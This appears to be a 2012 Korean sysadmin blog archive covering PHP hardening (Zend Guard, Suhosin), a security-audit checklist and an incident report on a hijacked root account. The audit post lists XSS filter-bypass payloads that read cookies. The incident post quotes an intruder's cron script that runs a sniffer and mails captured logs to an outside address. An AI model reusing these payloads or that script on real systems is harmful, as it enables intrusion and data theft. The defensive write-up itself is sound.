블로그 이미지
정신 못차리면, 벌 받는다. 와닥

카테고리

분류 전체보기 (1406)
Daily (587)
W3C (93)
Photo (229)
News (49)
Portfolio (24)
Database (42)
Programming (251)
Server (109)
Tip (22)
Total28,306
Today103
Yesterday141

New Born

와닥

달력

« » 2012.03
        1 2 3
4 5 6 7 8 9 10
11 12 13 14 15 16 17
18 19 20 21 22 23 24
25 26 27 28 29 30 31

최근에 달린 댓글

최근에 받은 트랙백

'2012/03'에 해당되는 글 6건

  1. 2012/03/29 Zend Guard
  2. 2012/03/28 [보안] Suhosin
  3. 2012/03/27 보안 검수
  4. 2012/03/21 이 또한 지나가리라 (2)
  5. 2012/03/13 Stolen ROOT (2)
  6. 2012/03/08 (98)Address already in use

Zend Guard

Server/CentOS / 2012/03/29 00:10

Zend Optimizer 는 PHP 5.2 버전까지만 지원을 하므로 PHP 5.3 버전 부터는 Zend Guard 를 이용해야 합니다.
홈페이지에서 다운받아 서버에 올리고 설치 하도록 합니다.

 

Download : http://www.zend.com/en/products/guard/downloads

 

# tar zxvf ZendGuardLoader-php-5.3-linux-glibc23-x86_64.tar.gz
# cp ZendGuardLoader-php-5.3-linux-glibc23-x86_64/php-5.3.x/ZendGuardLoader.so /usr/local/php/modules/

 

# vi /etc/php.ini
[zend]
zend_extension=/usr/local/php/modules/ZendGuardLoader.so

 

 

설치 확인

 

# php -v
PHP 5.3.9 (cli) (built: Mar 26 2012 18:04:12)
Copyright (c) 1997-2012 The PHP Group
Zend Engine v2.3.0, Copyright (c) 1998-2012 Zend Technologies
    with Zend Guard Loader v3.3, Copyright (c) 1998-2010, by Zend Technologies
    with Suhosin v0.9.33, Copyright (c) 2007-2012, by SektionEins GmbH

크리에이티브 커먼즈 라이선스
Creative Commons License
Posted by 와닥

[보안] Suhosin

Server/CentOS / 2012/03/28 18:37

PHP 를 위한 보안 강화 시스템.

http://www.hardened-php.net/suhosin/

 

install 방식은 patch 와 extension 이 있는데,

php 설치 전이라면 patch 방식, php 설치 후라면 extension 방식으로 설치하면 되겠습니다.

download : http://www.hardened-php.net/suhosin/download.html

 

 

Patch

 

  • php 버전에 맞는 suhosin-patch 파일 다운로드
  • php, suhosin-patch 압축해제
  • php 소스파일 패치
  • php 설치

 

 

# wget http://download.suhosin.org/suhosin-patch-5.3.9-0.9.10.patch.gz
# tar -xfj php-5.3.9.tar.bz2
# gunzip suhosin-patch-5.3.9-0.9.10.patch.gz
# cd php-5.3.9
# patch -p 1 -i ../suhosin-patch-5.3.9-0.9.10.patch

 

# ./configure --with-whatever-you-want [--enable-suhosin]
# make
# make install

 

 

Installing the Extension

 

# wget http://download.suhosin.org/suhosin-0.9.33.tgz
# tar zxvf suhosin-0.9.33.tgz
# cd suhosin-0.9.33
# phpize
# ./configure
# make
# make install

 

# vi /etc/php.ini
[suhosin]
extension_dir=/usr/local/php/lib/php/extensions/no-debug-non-zts-20090626/
extension=suhosin.so

 

 

설치 확인

 

# php -v
PHP 5.3.9 (cli) (built: Mar 26 2012 18:04:12)
Copyright (c) 1997-2012 The PHP Group
Zend Engine v2.3.0, Copyright (c) 1998-2012 Zend Technologies
    with Suhosin v0.9.33, Copyright (c) 2007-2012, by SektionEins GmbH

크리에이티브 커먼즈 라이선스
Creative Commons License
Posted by 와닥

보안 검수

Daily/Prog / 2012/03/27 18:55

1. XSS(Cross Site Scripting) 공격 발생 가능한 취약점.

 

2. DB 접근 제한.

 

3. Hash DoS 공격에 대한 취약점 확인.

 

 

1. XSS(Cross Site Scripting) 공격 발생 가능한 취약점

 

사이트 상에서 사용자의 입력을 받는 모든 페이지에 XSS 공격이 가능.
header, cookie, query, form 등에 대해 유효성 검사를 실시하고 사용자 입력 값에 대한 검증을 강화하여 방어.
burp suite 등의 proxy 툴을 이용하여 변조 테스트 가능.

 

일반적으로 사용자가 form 필드에 <script>alert("XSS Attack");</script> 를 입력했을 때,
의도한대로 alert 창이 띄워진다면 XSS 공격에 취약하다고 볼 수 있음.

 

공격 패턴

 

  • 기본패턴 : <sCriPt>alErt(doCumEnt.coOkie)</ScriPt>
  • 인코딩 패턴 : <scrip%00t>alert(2222)</scRi%00pT>
  • event handler 우회 패턴 : <img//src="something"//oneRRor='a=alert;b=dOcumEnt;a(b./**/cOokIe)'>
  • expression 우회 패턴 : <p+style='x:eXp/*xss*/resSion(alert(document.cookie))'></p>
  • HTML5 패턴 : <video src=1 onerror=alert('XSS3')>
  • Base64 인코딩 패턴 : <object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgnb2JqZWN0X3NjcmlwdF9hbGVydCcpPC9zY3JpcHQ+">

 

 

대응책

 

사용자 입력 필드 또는 검색어 필드에서 입력된 값에 HTML Entity 변환 및 16진수 변환등으로 코드 실행 방지와 black keyword 추가

htmlentities( a, ENT_QUOTES ) 혹은 replace( a, "<", "&lt;" ) 사용.

 

 

2. DB 접근제한 조치

 

DB 외부 오픈 제한(ACL등), mysql 기본포트 변경 (3306->13306 등...)

 

 

대응책

 

# vi /etc/my.cnf
[mysqld]
port=13306

 

 

3. Hash DoS 공격에 대한 취약점 확인

 

PHP 버전이 낮아서 Hash DoS 공격의 가능성이 있다.
수정된 버전(PHP 5.4.0 RC 이상, PHP 5.3.9이상)을 사용할 것을 권고
max_input_vars 설정으로 파라미터의 수를 제한

 

PHP 보안 모듈(suhosin) 사용 (아래의 설정은 최대 파라미터 개수를 500개로 제한한 예시)
suhosin.post.max_value_lenth = 1000000
suhosin.post.max_vars = 500
suhosin.request.max_vars = 500

 

기존PHP버전 (완벽한 해결이 아닌 공격을 약화시키는 방법)

 

php.ini 설정값 변경 (아래의 값을 변경하여 공격을 완화할 수 있다. 수치는 default임 )
max_input_time = 60 (요청 데이터를 파싱하는데 걸리는 최대 시간)
post_max_size = 8M (POST 사이즈 제한)
=> 파일이 업로드 되는 서비스는 POST 사이즈가 크므로 post_max_size로 적용하기는 어렵고, max_input_time 만 설정해 볼 수 있다.

 

 

대응책

 

PHP 5.3.9 설치, suhosin 설치, php.ini 수정.

 

크리에이티브 커먼즈 라이선스
Creative Commons License
Posted by 와닥



하루를 시간가는줄 모르게, 또 즐겁게 보낼 수 있다는 축복...이란 것이 내게도 잠시 머물렀지만,
그간 만들어 놓은 내 땀과 쌓아온 믿음을 한순간에 무력하게 만들어버리고 재만 남았구나.
동해 수심 30미터속에서 이내 죽어버릴 것 같았던 그 때는 발악하면서 살아보려고 발버둥이라도 쳤었는데,
이 잿더미를 본 순간 발버둥은 커녕 얼음이 되어 버렸다. 무엇을 할 수 있냐고 물었는데 뉴로에서 피드백이 없다.
심장은 터질것 같은데, 몸은 점점 굳어져 가는 느낌... 느껴본 사람이 있을까.

구원자에서 엑스맨으로, 해리포터에서 조빱으로, 이 집은 역시 내 집이 아닌 남의 집, 그 집의 3단 가시방석위에서 피 흘리는 나.
천국을 향해 등에 사람들 주렁주렁 매달고 구름 근처까지 올라갔는데, 난데없는 벼락 한방 제대로 맞고 추락.
추락사 했어야 되는데, 하늘에서 추락한건데... 살았네 지미... 그냥 죽이지 그랬냐. 만신창이 상태로 이걸 다시 올라가야 해?;
누구나 한번쯤 우는 거, 나도 한번 울었다고 생각하기에는 정말 너무x1E+31 재수없지 않니?
이건 도저히 말로 표현할 수 없다고 생각했는데 하루가 지나니 말문이 트인다. 아, 역시 시간이란 약은...
크리에이티브 커먼즈 라이선스
Creative Commons License
Posted by 와닥

Stolen ROOT

Daily/Prog / 2012/03/13 01:02
1. 사건 시작

Logwatch 에 배달된 내용.

Mar 12 01:20:01 xxxx crond[21145]: User not known to the underlying authentication module
Mar 12 01:20:01 xxxx crond[21145]: CRON (cactiuser) ERROR: failed to open PAM security session: Success
Mar 12 01:20:01 xxxx crond[21145]: CRON (cactiuser) ERROR: cannot set security context
...

잉... 이건 뭐... 한참을 스크롤해 내려가는데,

Deleted Users
  test 
  cactiuser 
  bin 

Deleted Groups
  test 

Removed From Group
  user cactiuser from group cacti 
  user cactiuser from group cacti 
  user bin from group bin 
  user bin from group daemon 
  user bin from group sys 
  user bin from group bin 
  user bin from group daemon 
  user bin from group sys

컥... 당황한 나는 서버에 접속하여 su 권한으로 .bash_history 를 열어봅니다.

# vi .bash_history
/root/.bash_history: Permission denied

컥;;;

# ls -al
drwxr-x---  7 0 root     4096  3월 12 01:31 .
drwxr-xr-x 24 0 root     4096  3월  8 12:57 ..
-rw-------  1 0 root    15436  3월  9 12:53 .bash_history
-rw-r--r--  1 0 root       24  1월  6  2007 .bash_logout
-rw-r--r--  1 0 root      307  1월 30 10:48 .bash_profile
-rw-r--r--  1 0 root      176  1월  6  2007 .bashrc

root 사용자 자리에 0...
서버의 모든 root 소유 파일과 디렉토리는 저 모양으로 바뀌었고, root 로는 아무것도 할 수가 없었습니다.
그나마 다행은 다른 계정들은 무사.

log들 확인하려 했더니 삭제되고 없고 ( messages, maillog, boot.log )
secure 에서 찾은 이미 확인한 로그...

Mar 12 01:16:43 xxxx userdel[21122]: delete user `test'
Mar 12 01:16:43 xxxx userdel[21122]: removed group `test' owned by `test'
Mar 12 01:16:48 xxxx userdel[21127]: delete user `cactiuser'
Mar 12 01:16:48 xxxx userdel[21127]: delete `cactiuser' from group `cacti'
Mar 12 01:16:48 xxxx userdel[21127]: delete `cactiuser' from shadow group `cacti'
Mar 12 01:29:56 xxxx userdel[28380]: delete user `bin'
Mar 12 01:29:56 xxxx userdel[28380]: delete `bin' from group `bin'
Mar 12 01:29:56 xxxx userdel[28380]: delete `bin' from group `daemon'
Mar 12 01:29:56 xxxx userdel[28380]: delete `bin' from group `sys'
Mar 12 01:29:56 xxxx userdel[28380]: delete `bin' from shadow group `bin'
Mar 12 01:29:56 xxxx userdel[28380]: delete `bin' from shadow group `daemon'
Mar 12 01:29:56 xxxx userdel[28380]: delete `bin' from shadow group `sys'

일단 root 계정 확인해보고

# id root
uid=4294967295(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)

뭔가 저 uid는...

# vi /etc/passwd
root:x:-1:0:root:/root:/bin/bash
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin

bin 은 삭제되서 온데간데 없고, root 는 uid 가 -1...
하지만 권한이 없어서 수정할 수가 없습니다. ㅠ


2. 해결

sudo 권한을 가진 일반 계정으로 접속하여, passwd 파일 접근 후 root uid 수정.

$ sudo vi /etc/passwd
root:x:-1:0:root:/root:/bin/bash
root:x:0:0:root:/root:/bin/bash

다행히 수정이 되었습니다ㅠ
bin(1) cactiuser 도 새로 생성하고 그룹지정을 잘 해줬습니다.
iptables 설정 후 syslogd 재부팅하고 나서 때마침 root로 날아온 메일.

/etc/cron.daily/0logwatch:

Who are you?
/etc/cron.daily/dnsquery:

./popauth: error while loading shared libraries: libdb.so.3: cannot open shared object file: No such file or directory
mkdir: cannot create directory `/usr/share/misc/': File exists
mkdir: cannot create directory `/usr/share/misc/blah/': File exists
Who are you?
popauth: no process killed
popauth: error while loading shared libraries: libdb.so.3: cannot open shared object file: No such file or directory
/etc/cron.daily/logrotate:

error: stat of /var/log/messages failed: No such file or directory
error: stat of /var/log/maillog failed: No such file or directory
error: stat of /var/log/boot.log failed: No such file or directory

--q2CNvx1S006556.1331596695/xxxx--

머냐 이건; 이 메일 안왔으면 어쩔뻔했냐...

# ls -al /etc/cron.daily/dnsquery
-rwxr-xr-x  1 1000 users   346  4월 15  2012 dnsquery

어이구, 이분은 미래에서 오셨구만...

# vi /etc/cron.daily/dnsquery

#!/bin/sh
cd /usr/lib/
./popauth -r httpd.log > test
mkdir /usr/share/misc/
mkdir /usr/share/misc/blah/
cat /usr/share/misc/blah/temp.log |uniq >> test
echo >/usr/share/misc/blah/temp.log
mail ov1del@yahoo.com -s "$(hostname -f)" < test
rm -rf test httpd.log
A=$PATH
killall -9 popauth
export PATH=/usr/lib/
popauth -w httpd.log &
export PATH=$A

저 메일 주인분이 범인...

# find / -group users -exec ls -al {} \;
-rwxr-xr-x 1 1000 users 388262  4월 15  2012 /usr/lib/popauth
-rwxr-xr-x 1 1000 users 1092    4월 15  2012 /usr/local/lib/dsniff.services
-rw-r--r-- 1 1000 users 2824   12월  5  2010 /usr/local/src/cacti-0.8.7i-PIA-3.1/...

users 그룹의 파일들을 찾아보니
저분이 만들어 놓은 파일들과 cacti 의 압축 풀었던 디렉토리가 1000:users 인 것을 확인하고 바로 디렉토리 삭제;


3. 마무리

어떻게 뚫린건지는 모르겠습니다. 사실 뚫릴거라고 생각하고 있던 서버중에 하나이기도 합니다.
일단 의심스러운 파일들은 모조리 삭제했지만, iptables 미설정 때문이라면 오히려 속편하겠습니다.
iptables 설정 후에도 이와 같은 해킹이 일어난다면 난 더이상 할 수 있는게 없습니다 ㅠ
크리에이티브 커먼즈 라이선스
Creative Commons License
Posted by 와닥
Apache 재부팅 중 오류 발생!

# /etc/init.d/httpd stop

# /etc/init.d/httpd start
(98)Address already in use: make_sock: could not bind to address [::]:80
(98)Address already in use: make_sock: could not bind to address 0.0.0.0:80
no listening sockets available, shutting down
Unable to open logs
                                                 [실패]

80 포트가 이미 사용중이다? 헉!!

# netstat -nlp
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      11180/bash
tcp        0      0 0.0.0.0:443             0.0.0.0:*               LISTEN      11180/bash
tcp        0      0 0.0.0.0:23480          0.0.0.0:*               LISTEN      22334/bash

# kill -9 11180

선점된 프로세스 죽이고 다시...

# /etc/init.d/httpd start
(98)Address already in use: make_sock: could not bind to address [::]:80
(98)Address already in use: make_sock: could not bind to address 0.0.0.0:80
no listening sockets available, shutting down
Unable to open logs
                                                 [실패]

헉! 그래도 80 포트가 사용중이다??

# netstat -nlp
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      22334/bash
# kill -9 22334
# /etc/init.d/httpd start
                                                 [성공]

음... 저 bash 는 대체 왜 저러구 있었을까...
사실은 알지만 모르는 척 하고 있다. 모르는 척...
크리에이티브 커먼즈 라이선스
Creative Commons License
Posted by 와닥